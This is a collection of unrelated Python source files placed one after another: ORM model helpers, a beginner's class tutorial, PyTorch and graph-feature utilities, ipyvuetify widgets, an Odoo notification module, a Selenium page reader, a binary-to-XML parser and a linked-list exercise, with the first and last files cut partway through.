        expr = (sa.dialects.postgresql.insert(self._table)
            .values(**table_fields)
            .on_conflict_do_update(
                constraint=self._table.primary_key,
                set_=table_fields
            ))

        if self._pname is not None:
            pkey = self._symbols[self._pname].obj
            expr = expr.returning(pkey)

        result = await conn.execute(expr)

        if self._pname is not None:
            pval = await result.scalar()
            assert pval is not None
            self._fields[self._pname] = pval
            # Since we may change the primary value, update reversed relation
            # queries.
            self.update_reverse_relations()

    @classmethod
    def select(cls):

        return ShadowExpr(cls._relquery, typ=cls)

    @classmethod
    def delete(cls):

        return ShadowExpr(cls._table.delete())

    @classmethod
    def join(cls, other, *args, **kwargs):

        return ShadowExpr(cls._table.join(other._table, *args, **kwargs))

def select(fields, cls=None):

    query_fields = []
    for field in fields:
        if isinstance(field, BaseModel):
            field = field._table

        query_fields.append(field)

    return ShadowExpr(sa.select(query_fields), typ=cls)

def model_context(func):

    class Context:
        def __init__(self, conn, redis):
            self.conn = conn
            self.redis = redis

    async def wrapper(*args, **kwargs):
        '''Wrapper.'''

        task = asyncio.Task.current_task()
        ctx = Context(task._conn, task._redis)
        return await func(*args, **kwargs, ctx=ctx)

    return wrapper

def create_schemas(db_url):

    # Make sure to load all schemas.
    import model.user
    import model.scoring
    import model.problem
    import model.proset
    import model.challenge

    engine = sa.create_engine(db_url)
    BaseModel._metadata.create_all(engine)
    engine.dispose()

def drop_schemas(db_url):

    # Make sure to load all schemas.
    import model.user
    import model.scoring
    import model.problem
    import model.proset
    import model.challenge

    engine = sa.create_engine(db_url)
    BaseModel._metadata.drop_all(engine)
    engine.dispose()


# Example 1:
# here we are making a class
class Student:
    pass

# we are making an object from student class
harry = Student()
larry = Student()

# we can make instance variable of an object like this
harry.name = "Harry"
harry.std = 12
harry.section = 1
larry.std = 9
larry.subjects = ["hindi", "physics"]
print(harry.name, harry.std)
print(harry.section, larry.subjects)
# if we will going to use 'larry.name' then it will through an error because we did not define the name for the larry

# Example 2:
class MyClass(object):
    # Every class derived from the based class 'object'
    # Not recommended to use 'object' while defining the class
    def show(self):
        # every class method will given us the 'self' instance object
        print("Hello world")

obj = MyClass()
obj.show()

# Example 2:
class Mobile:
    # writing our one constructor which get called whenever we create the object
    def __init__(self):
        self.model = "RealMe"

    def show_model(self):
        print("Model: ", self.model)

realMe = Mobile()
# Accessing method
realMe.show_model()
# Accessing properties
print(realMe.model)
# Updating property value
realMe.model = "RealMe Pro2"
print(realMe.model)

# EXample 4:
class Mobile2:
    # writing our one constructor which get called whenever we create the object
    def __init__(self, model):
        self.model = model

    def show_model(self, price):
        print("Model: ", self.model, " Price: ", price)

realMe2 = Mobile2("RealMe X")
realMe2.show_model(30000)
print("Address of realMe2: ", id(realMe2))
# Address of realMe2:  3058544135760

readMi = Mobile2("ReadMi 7s")
readMi.show_model(20000)
print("Address of readMi: ", id(readMi))
# Address of readMi:  3058544135952

# Example 5:
class Employee:
    no_of_leaves = 8
    # this is the class variable
    pass

harry = Employee()
rohan = Employee()

harry.name = "Harry"
harry.salary = 455
harry.role = "instructor"
print(harry.name, harry.salary)
# the variable that we made in here like name,salary,role these variable are the instance variable of an object not the varialbe of the class
print(harry.no_of_leaves)
# but here no_of_leaves is the is the property of the class
print(Employee.no_of_leaves)
# so we can access variable inside the class through the class as well
# if we want to change the value the variable of class we can do that through class name
Employee.no_of_leaves = 9
# we can change the value of the no_of_leaves thorugh but!!!
harry.no_of_leaves = 10
# here we are trying to change the value of the class variable then it cant be able to change
# but!!! we are acctully making the new instance variable of an object
print(harry.no_of_leaves)
# we can varify through one attribute and that is:
print(harry.__dict__)
# __dict is defined in all classes and it return dictionary
# now we can see that now no_of_leaves is the instance variable of an object
print(Employee.__dict__)

rohan.name = "Rohan"
rohan.salary = 455
rohan.role = "Student"
print(rohan.name, rohan.salary)
print(rohan.no_of_leaves)
# but for rohan object no_of_leaves is not the instance variable but the class variable


import os
import shutil
import torch

def make_dirs(args, opts, mode="train"):
    splits , features = '', ''
    if args.video_sets == 'videos':
        splits += 'new_'
    if args.input_feature == '2d':
        features += 'new_'
    splits += 'splits'
    features += 'features'

    train_list = os.path.join(opts.data_dir, "BEST", splits, opts.task, "train.txt")
    valid_list = os.path.join(opts.data_dir, "BEST", splits, opts.task, "test.txt")
    feature_path = os.path.join(opts.data_dir, "BEST", features, opts.task)
    resultdir = os.path.join(opts.result_dir, opts.arg, "lap_"+opts.lap, opts.task)
    if mode == "train":
        demodir = None
        dir = resultdir
    if mode == "eval":
        demodir = os.path.join(opts.demo_dir, "results", opts.arg, "lap_"+opts.lap, opts.task)
        dir = demodir

    if os.path.exists(dir):
        shutil.rmtree(dir)
    os.makedirs(dir)

    return train_list, valid_list, feature_path, resultdir, demodir

def accuracy(score_pos, score_neg):
    """Computes the % of correctly ordered pairs"""
    pred1 = score_pos
    pred2 = score_neg
    correct = torch.gt(pred1, pred2)
    return float(correct.sum())/correct.size(0), int(correct.sum())

def data_augmentation(input_var1, input_var2, args, device):
    if args.input_feature == '2d':
        noise = torch.autograd.Variable(torch.normal(torch.zeros(input_var1.size()[1],
                                                                 input_var1.size()[2],
                                                                 input_var1.size()[3],
                                                                 input_var1.size()[4]),
                                                                 0.01)).to(device)
    else:
        noise = torch.autograd.Variable(torch.normal(torch.zeros(input_var1.size()[1],
                                                                 input_var1.size()[2]),
                                                                 0.01)).to(device)
    input_var1 = torch.add(input_var1, noise)
    input_var2 = torch.add(input_var2, noise)
    return input_var1, input_var2

class AverageMeter(object):
    """Compute and stores the average and current value"""
    def __init__(self):
        self.reset()

    def reset_val(self):
        self.val = 0

    def reset(self):
        self.val = 0
        self.avg = 0
        self.sum = 0
        self.count = 0

    def update(self, val, n=1):
        self.val = val
        self.sum += val * n
        self.count += n
        self.avg = self.sum / self.count

def sec2str(sec):
    if sec < 60:
        return "{:02d}s".format(int(sec))
    elif sec < 3600:
        min = int(sec / 60)
        sec = int(sec - min * 60)
        return "{:02d}m{:02d}s".format(min, sec)
    elif sec < 24 * 3600:
        min = int(sec / 60)
        hr = int(min / 60)
        sec = int(sec - min * 60)
        min = int(min - hr * 60)
        return "{:02d}h{:02d}m{:02d}s".format(hr, min, sec)
    elif sec < 365 * 24 * 3600:
        min = int(sec / 60)
        hr = int(min / 60)
        dy = int(hr / 24)
        sec = int(sec - min * 60)
        min = int(min - hr * 60)
        hr = int(hr - dy * 24)
        return "{:02d} days, {:02d}h{:02d}m{:02d}s".format(dy, hr, min, sec)


# -*- coding: utf-8 -*-

import datetime
from functools import partial

import ipyvuetify as v
from traitlets import (
    Unicode, observe, directional_link,
    List, Int, Bool, Any, link
)

from sepal_ui.sepalwidgets.sepalwidget import SepalWidget, TYPES
from sepal_ui.frontend.styles import sepal_darker

class DynamicSelect(v.Card):

    """ Widget to navigate with next and previous buttons over a list

    Args:
        items (list) : List of items to be displayed in select list
        label (str) : Label to display into widget

    Parameters:
        v_model (traitlets.Any): Current element from select list

    Example:

        [1] ds = DynamicSelect(items=[1,2,3,4,5])
            ds # Display Dynamic select widget

        [2] # add behaviour once v_model changes
            ds.observe(lambda x: print(x), 'v_model')
    """

    items = List([]).tag(sync=True)
    v_model = Any().tag(sync=True)
    confidence = Unicode('All').tag(sync=True)

    def __init__(self, label='', **kwargs):

        self.class_='d-flex align-center mb-2'
        self.row=True
        self.label = label

        super().__init__(**kwargs)

        self.w_prev = v.Btn(
            _metadata = {'name':'previous'},
            x_small=True,
            children=[
                v.Icon(left=True,children=['mdi-chevron-left']),
                'prev'
            ])

        self.w_next = v.Btn(
            _metadata = {'name' : 'next'},
            x_small=True,
            children=[
                v.Icon(children=['mdi-chevron-right']),
                'nxt'
            ])
        self.w_conf = v.Select(
            class_='ma-2',
            label='Confidence',
            v_model='All',
            items=['All', 'Low','High', 'Nominal']
        )

        self.w_list = v.Select(
            class_='ma-2',
            label=self.label,
            items=self.items,
            v_model=''
        )

        self.children = [
            self.w_prev,
            self.w_conf,
            self.w_list,
            self.w_next
        ]

        link((self.w_list, 'items'),(self, 'items'))
        link((self.w_list, 'v_model'),(self, 'v_model'))
        link((self.w_conf, 'v_model'),(self, 'confidence'))

        self.w_prev.on_event('click', self.prev_next_event)
        self.w_next.on_event('click', self.prev_next_event)

    def prev_next_event(self, widget, change, data):

        current = self.w_list.v_model
        position = -1 if not current else self.w_list.items.index(current)
        last = len(self.w_list.items) - 1

        if widget._metadata['name']=='next':
            if position < last:
                self.w_list.v_model = self.w_list.items[position+1]

        elif widget._metadata['name']=='previous':
            if position > 0:
                self.w_list.v_model = self.w_list.items[position-1]

class Tooltip(v.Tooltip):

    def __init__(self, widget, tooltip, *args, **kwargs):
        """
        Custom widget to display tooltip when mouse is over widget

        Args:
            widget (DOM.widget): widget used to display tooltip
            tooltip (str): the text to display in the tooltip

        Example:

            btn = v.Btn(children=['Button'])
            Tooltip(widget=btn, tooltip='Click over the button')
        """

        self.bottom=True
        self.v_slots=[{
            'name': 'activator',
            'variable': 'tooltip',
            'children': widget
        }]
        widget.v_on = 'tooltip.on'

        self.children = [tooltip]

        super().__init__(*args, **kwargs)

    def __setattr__(self, name, value):
        """prevent set attributes after instantiate tooltip class"""

        if hasattr(self,'_model_id'):
            if self._model_id:
                raise RuntimeError(f"You can't modify the attributes of the {self.__class__} after instantiated")
        super().__setattr__(name, value)

class Tabs(v.Card):

    current = Int(0).tag(sync=True)

    def __init__(self, titles, content, **kwargs):

        self.background_color="primary"
        self.dark = True

        self.tabs = [v.Tabs(v_model=self.current, children=[
            v.Tab(children=[title], key=key) for key, title in enumerate(titles)
        ])]

        self.content = [v.TabsItems(
            v_model=self.current,
            children=[
                v.TabItem(children=[content], key=key) for key, content in enumerate(content)
            ]
        )]

        self.children= self.tabs + self.content

        link((self.tabs[0], 'v_model'),(self.content[0], 'v_model'))

        super().__init__(**kwargs)


# -*- coding: utf-8 -*-
import unicodedata
from datetime import datetime, timedelta
from html2text import html2text
from openerp import models, api, fields
from openerp.exceptions import Warning

class AvancysNotification(models.Model):
    _name = 'avancys.notification'

    user_id = fields.Many2one('res.users', 'Usuario')
    notification = fields.Char('Notificacion')
    tittle = fields.Char('Titulo')
    url = fields.Char('Url')
    date = fields.Datetime('Fecha de generacion')
    state = fields.Selection([
        ('pending', 'Pendiente'),
        ('sent', 'Enviada')
    ])
    persistent = fields.Boolean('Notificacion persistente')
    constructor_id = fields.Many2one('notification.constructor', 'constructor')
    modelo_id = fields.Integer('ID Registro')

    @api.model
    def get_notifications(self):
        notifications = self.env['avancys.notification'].search([
            ('user_id', '=', self.env.uid),
            ('state', '=', 'pending'),
            ('date', '<=', datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S'))
        ])
        data = []
        for message in notifications:
            data.append(
                {
                    'user_id': message.user_id.name,
                    'tittle': message.tittle,
                    'notification': message.notification,
                    'url': message.url,
                    'date': message.date,
                    'state': message.state
                }
            )
            if message.persistent is True:
                message.unlink()
            else:
                message.state = 'sent'
        return data

class NotificationConstructor(models.Model):
    _name = 'notification.constructor'

    name = fields.Char('Descripcion')
    table = fields.Many2one('ir.model', 'Modelo')
    field_user = fields.Char('Campo usuario')
    is_partner = fields.Boolean('Es contacto')
    tittle = fields.Char(
        'Titulo de la notificacion',
        help="""Si es un constructor agrupado asignar un texto plano,
            sino asignar el campo o el simbolo '-' seguido de texto plano""")
    field_notification = fields.Char(
        'Campo notificacion',
        help="""Si es un constructor agrupado asignar un texto plano,
            sino asignar el campo o el simbolo '-' seguido de texto plano""")
    notification_html = fields.Boolean('Es html')
    url = fields.Char('Url', help="Especificar direccion desde /web... comodin {id} si se requiere ir a un registro")
    url_id = fields.Char('ID URL', help="'id' o Campo tipo objeto relacionado")
    grouped = fields.Boolean('Agrupado')
    persistent = fields.Boolean('Notificacion Persistente')
    condition_ids = fields.One2many('notification.constructor.line', 'constructor_id', string="Condiciones")
    user_from = fields.Char('Remitente', help='Permite mapeo de campos a un nivel, ej: message_id.email_from')

    @api.model
    def get_notification(self):
        self.env.cr.execute("SELECT id FROM notification_constructor")
        notif_constructor_obj = self.env['notification.constructor']
        constructors = self.env.cr.fetchall()
        for cons in constructors:
            notif_constructor_obj.browse(cons).create_notifications()

    @api.multi
    def create_notifications(self):
        avancys_notif_obj = self.env['avancys.notification']
        dominio = []
        for line in self.condition_ids:
            if line.c2[0:3] == "now":
                if line.c2[4:5] == '+':
                    date = datetime.now() + timedelta(minutes=int(line.c2[6:len(line.c2)]))
                elif line.c2[4:5] == '-':
                    date = datetime.now() - timedelta(minutes=int(line.c2[6:len(line.c2)]))
                elif len(line.c2) == 3:
                    date = datetime.now()
                else:
                    raise Warning('Las condiciones de fecha no son validas')
                date = datetime.strftime(date, '%Y-%m-%d %H:%M:%S')
                crit = (str(line.c1), str(line.operator), date)
            else:
                if str(line.c2) == 'True':
                    cond = True
                elif str(line.c2) == 'False':
                    cond = False
                else:
                    cond = str(line.c2)
                crit = (str(line.c1), str(line.operator), cond)
            dominio.append(crit)
        modelo_ids = self.env[self.table.model].search(dominio)
        notif_data = []
        orm2sql = self.env['avancys.orm2sql']

        if not self.grouped:
            for i in modelo_ids:
                for user in getattr(i, self.field_user):
                    if self.is_partner:
                        user_notification = user.system_user_id.id
                    else:
                        user_notification = user.id
                    if self.persistent:
                        user_constructor = avancys_notif_obj.search([
                            ('constructor_id', '=', self.id),
                            ('user_id', '=', user_notification),
                            ('modelo_id', '=', i.id),
                            ('state', '=', 'pending')])
                    else:
                        user_constructor = avancys_notif_obj.search([
                            ('constructor_id', '=', self.id),
                            ('user_id', '=', user_notification),
                            ('modelo_id', '=', i.id)])
                    if len(user_constructor) > 0:
                        continue

                    if self.tittle[0] == '-':
                        tittle = self.tittle[1:len(self.tittle)]
                    else:
                        if '.' in self.tittle:
                            tittle = getattr(getattr(i, self.tittle.split('.')[0])[0], self.tittle.split('.')[1])
                        else:
                            tittle = getattr(i, self.tittle)

                        try:
                            tittle = tittle[0].display_name
                        except:
                            if tittle:
                                if len(tittle) == 0:
                                    tittle = False
                                else:
                                    pass
                            else:
                                tittle = False

                    user_from = False
                    if self.user_from:
                        if '.' in self.user_from:
                            user_from = getattr(
                                getattr(i, self.user_from.split('.')[0])[0], self.user_from.split('.')[1])
                        else:
                            user_from = getattr(i, self.user_from)
                        try:
                            user_from = user_from[0].display_name
                        except:
                            if len(user_from) == 0:
                                user_from = False
                            else:
                                pass
                        if tittle and user_from:
                            if len(user_from.split(' ')) > 2:
                                user_from = user_from.split(' ')[0] + ' ' + user_from.split(' ')[1]
                            tittle = user_from + ': ' + tittle
                        elif user_from:
                            tittle = user_from

                    if self.field_notification[0] == '-':
                        field_notification = self.field_notification[1:len(self.tittle)]
                    else:

                        if '.' in self.field_notification:
                            field_notification = getattr(i, self.field_notification.split('.')[0])
                            field_notification = getattr(field_notification[0], self.field_notification.split('.')[1])
                        else:
                            field_notification = getattr(i, self.field_notification)

                        try:
                            field_notification = field_notification[0].display_name
                        except:
                            if len(field_notification) == 0:
                                field_notification = False
                            else:
                                pass
                        if self.notification_html:
                            if field_notification:
                                field_notification = html2text(field_notification).replace('\n', '')
                            else:
                                field_notification = ''

                    if self.url:
                        if not self.url_id:
                            raise Warning(
                                "Debe especificar un campo relacionado al id para la url, por lo general es 'id'")
                        if self.url_id == 'id':
                            url_id = i.id
                        else:
                            url_id = getattr(i, self.url_id)[0].id
                        url = self.url.replace('{id}', str(url_id))
                    else:
                        url = False

                    if user_notification is False:
                        continue

                    notif_data.append({
                        'user_id': user_notification,
                        'tittle': tittle,
                        'notification': field_notification,
                        'url': url,
                        'state': 'pending',
                        'date': orm2sql.local_date(datetime.strftime(datetime.now(), '%Y-%m-%d') + " 00:00:00"),
                        'constructor_id': self.id,
                        'persistent': self.persistent,
                        'modelo_id': i.id,
                    })
        else:
            users = []
            for i in modelo_ids:
                for user in getattr(i, self.field_user):
                    if self.is_partner:
                        user_notification = user[0].system_user_id.id
                    else:
                        user_notification = user[0].id
                    if len(user) > 0:
                        if user_notification not in users:
                            users.append(user_notification)
            for user in users:
                if self.persistent:
                    user_constructor = avancys_notif_obj.search([
                        ('constructor_id', '=', self.id),
                        ('user_id', '=', user),
                        ('state', '=', 'pending')])
                else:
                    user_constructor = avancys_notif_obj.search([
                        ('constructor_id', '=', self.id),
                        ('user_id', '=', user)])
                if len(user_constructor) > 0:
                    continue
                if user is False:
                    continue
                notif_data.append({
                    'user_id': user,
                    'tittle': self.tittle,
                    'notification': self.field_notification,
                    'url': self.url,
                    'state': 'pending',
                    'date': orm2sql.local_date(datetime.strftime(datetime.now(), '%Y-%m-%d') + " 00:00:00"),
                    'constructor_id': self.id,
                    'persistent': self.persistent,
                })
        orm2sql.sqlcreate(self.env.uid, self.env.cr, 'avancys_notification', notif_data)
        return

class NotificationConstructorLine(models.Model):
    _name = 'notification.constructor.line'

    c1 = fields.Char('Campo de busqueda')
    operator = fields.Char('Operador')
    c2 = fields.Char(
        'Condicion',
        help='''
            Para relacionar la fecha actual, asignar la palabra 'now' y agregar el operador = o - con espacios
            intermedios, ej. 'now + 60' para compararla con la hora actual + 1 hora
        ''')
    constructor_id = fields.Many2one('notification.constructor', 'Constructor')


import os
# import urllib.request
# from types import SimpleNamespace
# from urllib.error import HTTPError
import random
import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd
# import tabulate
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.utils.data as data
from torch_geometric.utils import to_undirected,add_self_loops,remove_self_loops
from torch_geometric.data import InMemoryDataset, download_url
from torch_geometric.data import Data,DataLoader
from torch_geometric.datasets import TUDataset

def collate_graph_adj(edge_list, ptr,use_gpu=False):
    if not use_gpu:
        edges = torch.cat([torch.tensor(i) + ptr[idx] for idx, i in enumerate(edge_list)], dim=1)
        N = ptr[-1]
        return torch.sparse_coo_tensor(edges,[1.]*edges.shape[1], (N, N))
    else:
        edges = torch.cat([torch.tensor(i).cuda(0) + ptr[idx] for idx, i in enumerate(edge_list)], dim=1)
        N = ptr[-1]
        val = torch.tensor([1.]*edges.shape[1]).cuda(0)
        return torch.sparse_coo_tensor(edges,val, (N, N)).cuda(0)

class EdgeIndex_Processor():
    def __init__(self, edge_index):
        super().__init__()
        self.random_walk = None
        adj,N = self.to_sparse_tensor(edge_index)
        adj_with_selfloop = self.to_sparse_tensor_with_selfloop(edge_index)
        self.N = N
        self.adj = adj.float()
        self.adj_with_loop = adj_with_selfloop.float()
        self.k_hop_neibrs = [adj.float()]
        self.calc_random_walk_matrix()

    def to_sparse_tensor(self, edge_index):
        edge_index = remove_self_loops(edge_index)[0]
        r = len(edge_index[0])
        N = edge_index.max() + 1
        t = torch.sparse_coo_tensor(edge_index, [1] * r, (N, N))
        return t, N

    def to_sparse_tensor_with_selfloop(self, edge_index):
        edge_index = add_self_loops(edge_index)[0]
        r = len(edge_index[0])
        N = edge_index.max() + 1
        t = torch.sparse_coo_tensor(edge_index, [1] * r, (N, N))
        return t

    def calc_random_walk_matrix(self):
        t = self.adj_with_loop.to_dense().sum(dim=1)
        t = 1./t
        n = len(t)
        ind = torch.tensor([[i,i] for i in range(n)]).T
        diag = torch.sparse_coo_tensor(ind,t,(n,n))
        random_walk = torch.sparse.mm(diag,self.adj)
        self.random_walk = random_walk

    def calc_random_walk_feature(self,order=10):
        t = self.random_walk
        tot_walk_feats = []
        walk_feats = []
        for i in range(self.N):
            walk_feats.append(t[i,i])
        tot_walk_feats.append(walk_feats)
        for i in range(order):
            walk_feats = []
            t = torch.sparse.mm(t,self.random_walk)
            for i in range(self.N):
                walk_feats.append(t[i, i])
            tot_walk_feats.append(walk_feats)
        tot_walk_feats = torch.tensor(tot_walk_feats).T
        return tot_walk_feats

    def calc_adj_power(self,adj, power):
        t = adj
        for _ in range(power - 1):
            t = torch.sparse.mm(t, adj)
        # set value to one
        indices = t.coalesce().indices()
        v = t.coalesce().values()
        v = torch.tensor([1 if i > 1 else i for i in v])
        diag_mask = indices[0] != indices[1]
        indices = indices[:, diag_mask]
        v = v[diag_mask]
        t = torch.sparse_coo_tensor(indices, v, (self.N, self.N))
        return t

    def postprocess_k_hop_neibrs(self,sparse_adj):
        diag = torch.diag(1. / sparse_adj.to_dense().sum(dim=1))
        diag = diag.to_sparse()
        out = torch.sparse.mm(diag, sparse_adj)
        return out

    def calc_k_hop_neibrs(self,k_hop=2):
        adj_hop_k = self.calc_adj_power(self.adj, k_hop)
        one_hop = self.k_hop_neibrs[0]
        prev_hop = self.k_hop_neibrs[1:k_hop]
        for p in prev_hop:
            one_hop += p
        final_res = adj_hop_k - one_hop

        indices = final_res.coalesce().indices()
        v = final_res.coalesce().values()
        v = [0 if i <= 0 else 1 for i in v]
        masking = []
        v_len = len(v)
        for i in range(v_len):
            if v[i] > 0:
                masking.append(i)
        v = torch.tensor(v)
        masking = torch.tensor(masking).long()
        indices = indices[:, masking]
        v = v[masking]
        final_res = torch.sparse_coo_tensor(indices, v, (self.N, self.N))
        return final_res

    def run(self,k_hop=[2,3,4,5,6],random_walk_order=20):
        walk_feature = self.calc_random_walk_feature(order=random_walk_order)
        for k in k_hop:
            t = self.calc_k_hop_neibrs(k)
            self.k_hop_neibrs.append(t.float())
        # normed_k_hop_adj = [self.postprocess_k_hop_neibrs(i.float()) for i in self.k_hop_neibrs]   # 是否使用D^-1*A
        return self.k_hop_neibrs,walk_feature

def transform(t):
    q, j = EdgeIndex_Processor(t.edge_index).run()
    hop1, hop2, hop3, hop4, hop5, hop6 = q[0], q[1], q[2], q[3], q[4], q[5]
    t.rand_feature = j
    x2 = torch.concat((t.x, j), dim=1)
    hop1_feature = hop1.matmul(x2)
    hop2_feature = hop2.matmul(x2)
    hop3_feature = hop3.matmul(x2)
    hop4_feature = hop4.matmul(x2)
    hop5_feature = hop5.matmul(x2)
    hop6_feature = hop6.matmul(x2)

    hop1 = hop1.coalesce().indices().tolist()
    hop2 = hop2.coalesce().indices().tolist()
    hop3 = hop3.coalesce().indices().tolist()
    hop4 = hop4.coalesce().indices().tolist()
    hop5 = hop5.coalesce().indices().tolist()
    hop6 = hop6.coalesce().indices().tolist()
    t.hop1 = hop1
    t.hop2 = hop2
    t.hop3 = hop3
    t.hop4 = hop4
    t.hop5 = hop5
    t.hop6 = hop6
    t.hop1_feature = hop1_feature
    t.hop2_feature = hop2_feature
    t.hop3_feature = hop3_feature
    t.hop4_feature = hop4_feature
    t.hop5_feature = hop5_feature
    t.hop6_feature = hop6_feature
    return t

if __name__=='__main__':
    pass
    # edges = torch.tensor([[0, 1, 0, 2, 1, 3, 2, 3], [1, 0, 2, 0, 3, 1, 3, 2]]).long()
    # data_model = EdgeIndex_Processor(edges)
    # q,j = data_model.run()
    # print (q[0])
    # print (j)
    # s = Synthetic_Dataset(root='data/pyg_TRIANGLE_EX/test')
    # for d in s:
    #     if max(d.y)>1:
    #         print (d.y)


#!/usr/bin/env python
# -*- coding:utf-8 -*-
"""code_info
@Time    : 2020 2020/7/13 15:53
@Author  : Blanc
@File    : selenium_test.py
"""
from selenium import webdriver

browser = webdriver.Chrome()
browser.get('https://space.bilibili.com/1')
name=browser.find_element_by_id('h-name')
print(name.text)
browser.close()


import os
import struct
from lxml import etree
import datetime

#  | Character | Byte order             | Size     | Alignment |
#  | --------- | ---------------------- | -------- | --------- |
#  | @         | native                 | native   | native    |
#  | =         | native                 | standard | none      |
#  | <         | little-endian          | standard | none      | <
#  | >         | big-endian             | standard | none      | >
#  | !         | network (= big-endian) | standard | none      |

# | Format | C Type             | Python type       | Standard size | Notes    |
# | ------ | ------------------ | ----------------- | ------------- | -------- |
# | x      | pad byte           | no value          |               |          |
# | c      | char               | bytes of length 1 |             1 |          |
# | b      | signed char        | integer           |             1 | (1), (2) |
# | ?      | _Bool              | bool              |             1 | (1)      |
# | h      | short              | integer           |             2 | (2)      |
# | H      | unsigned short     | integer           |             2 | (2)      |
# | i      | int                | integer           |             4 | (2)      |
# | I      | unsigned int       | integer           |             4 | (2)      |
# | l      | long               | integer           |             4 | (2)      |
# | L      | unsigned long      | integer           |             4 | (2)      |
# | q      | long long          | integer           |             8 | (2)      |
# | Q      | unsigned long long | integer           |             8 | (2)      |
# | n      | ssize_t            | integer           |               | (3)      |
# | N      | size_t             | integer           |               | (3)      |
# | e      | (6)                | float             |             2 | (4)      |
# | f      | float              | float             |             4 | (4)      |
# | d      | double             | float             |             8 | (4)      |
# | s      | char[]             | bytes             |               |          |
# | p      | char[]             | bytes             |               |          |
# | P      | void*              | integer           |               | (5)      |

class CustomFuncs:
    @staticmethod
    def systemtime_16_le(bytes16):
        """
        typedef struct _SYSTEMTIME {
          WORD wYear;
          WORD wMonth;
          WORD wDayOfWeek;
          WORD wDay;
          WORD wHour;
          WORD wMinute;
          WORD wSecond;
          WORD wMilliseconds;
        } SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;
        """
        n = struct.unpack('<8H', bytes16)
        d = datetime.datetime(n[0], n[1], n[3], n[4], n[5], n[6], n[7] * 1000)
        return d.isoformat()

    @staticmethod
    def hex_str(bytes0):
        """ convert unknown length of bytes to hex string. """
        return bytes0.hex()

class ByteSnipper:
    def __init__(self, fp_bin):
        self.f = open(fp_bin, 'rb')

    def get_bytes(self, start_offset, byte_size):
        self.f.seek(start_offset, 0)
        return self.f.read(byte_size)

class TreeFuncs:
    @staticmethod
    def get_tree(fp):
        if os.path.isfile(fp):
            with open(fp, 'rb') as f:
                try:
                    tree = etree.parse(f)
                except Exception as e:
                    print(f'Error: Failed to open the input XML file! fp={fp}')
                    print(e)
                    quit()
                else:
                    return tree
        else:
            print(f'fp="{fp}" is not a file!')
            quit()

    @staticmethod
    def write_tree(fp, tree):
        with open(fp, 'wb') as f:
            tree.write(f, encoding='utf-8', xml_declaration=True)

def parse_to_xml(fp_bin, fp_xml):
    # parse binary data
    byte_snipper = ByteSnipper(fp_bin)
    # parse xml settings
    tree_root = TreeFuncs.get_tree(fp_xml)
    # loop through <Pattern> element
    for pattern in tree_root.xpath('/Patterns/Pattern'):
        data_result = "Not Set Error"
        # get start offset in integer
        try:
            start_offset_int = int(pattern.get('start_offset'), 0)
        except Exception as e:
            data_result = f"{e.__class__.__name__}: start_offset"
        else:
            # Unpack Format -------------------
            if pattern.get('unpack_format') is not None:
                data_format = pattern.get('unpack_format')
                print(f'data_format={data_format}')
                # Validate data length
                try:
                    data_length = struct.calcsize(data_format)
                except Exception as e:
                    data_result = f'{e.__class__.__name__}: data_length'
                else:
                    data_bytes = byte_snipper.get_bytes(start_offset_int, data_length)
                    # if unpack_index is not specified, return tuple.
                    if pattern.get('unpack_index') is None:
                        data_result = str(struct.unpack(data_format, data_bytes))
                    else:
                        # Validate unpack index type
                        try:
                            unpack_index = int(pattern.get('unpack_index'))
                        except Exception as e:
                            data_result = f'{e.__class__.__name__}: unpack_index'
                        else:
                            # Validate unpack index range
                            try:
                                data_result = str(struct.unpack(data_format, data_bytes)[unpack_index])
                            except Exception as e:
                                data_result = f"{e.__class__.__qualname__}: unpack_index"
            # Code Page -----------------------
            elif pattern.get('code_page') is not None:
                decode_error = pattern.get('decode_error') if pattern.get('decode_error') is not None else 'replace'
                data_length = int(pattern.get('length'), 0)
                data_bytes = byte_snipper.get_bytes(start_offset_int, data_length)
                data_result = data_bytes.decode(pattern.get('code_page'), decode_error).rstrip(' \0\r\n\t')
            # Function -------------------------
            elif pattern.get('function') is not None:
                data_length = int(pattern.get('length'), 0)
                custom_fnc = getattr(CustomFuncs, pattern.get('function'))
                data_bytes = byte_snipper.get_bytes(start_offset_int, data_length)
                data_result = custom_fnc(data_bytes)
            # Nested -----------------------
            elif pattern.get('nested') is not None:
                pass
        # set XML element value
        finally:
            pattern.text = data_result
    return tree_root

def test_from_cmd():
    fp_data = 'bintoxml_data.dat'
    fp_xml_in = 'bintoxml_input.xml'
    fp_xml_out = 'bintoxml_output.xml'
    tree_root = parse_to_xml(fp_data, fp_xml_in)
    TreeFuncs.write_tree(fp_xml_out, tree_root)

if __name__ == "__main__":
    test_from_cmd()


# Given the head of a LinkedList and two positions ‘p’ and ‘q’, reverse the LinkedList from position ‘p’ to ‘q’.
class Node:
    def __init__(self, v, n=None):
        self.value = v
        self.next = n

    def print_ll(self):
        while self is not None:
            print(self.value)
            self = self.next

def reverse_sub_ll(head, p, q):
    p_temp = head
    q_temp = head
    temp = head

    while temp is not None:
        if temp.next == p:
            p_temp = temp
        if temp == q:
            q_temp = temp.next
        temp = temp.next
    previous = q_temp
    current = p
    next = None
    while next is not q_temp:
        next = current.next
        current.next = previous
        previous = current
        current = next

    p_temp.next = previous

def main():
    head = Node(1)
    head.next = Node(2)
    head.next.next = Node(3)
    head.next.next.next = Node(4)
    head.next.next.next.next = Node(5)
    head.print_ll()
    reverse_sub_ll(head, head.next, head.next.next.next)
    print("-- After Reversing --")
    head.print_ll()
    pass

if __name__ == '__main__':
    main()


import sys
import codecs
import os

import numpy as np
import torch
from torch.autograd import Variable

from .constants import MAX_CHAR_LENGTH, NUM_CHAR_PAD, PAD_CHAR, PAD_POS, PAD_TYPE, ROOT_CHAR, ROOT_POS, ROOT_TYPE, END_CHAR, END_POS, END_TYPE, _START_VOCAB, ROOT, PAD_ID_WORD, PAD_ID_CHAR, PAD_ID_TAG, DIGIT_RE
from .conllu_reader import CoNLLReader
from .dictionary import Dictionary

def init_seed(seed):
  np.random.seed(seed)
  torch.manual_seed(seed)

def create_dict(train_path, dev_path, test_path, word_embed_dict, dry_run):
  word_dictionary = Dictionary('word', default_value=True, singleton=True)
  char_dictionary = Dictionary('character', default_value=True)
  pos_dictionary = Dictionary('pos', default_value=True)
  type_dictionary = Dictionary('type', default_value=True)
  xpos_dictionary = Dictionary('xpos', default_value=True)

  char_dictionary.add(PAD_CHAR)
  pos_dictionary.add(PAD_POS)
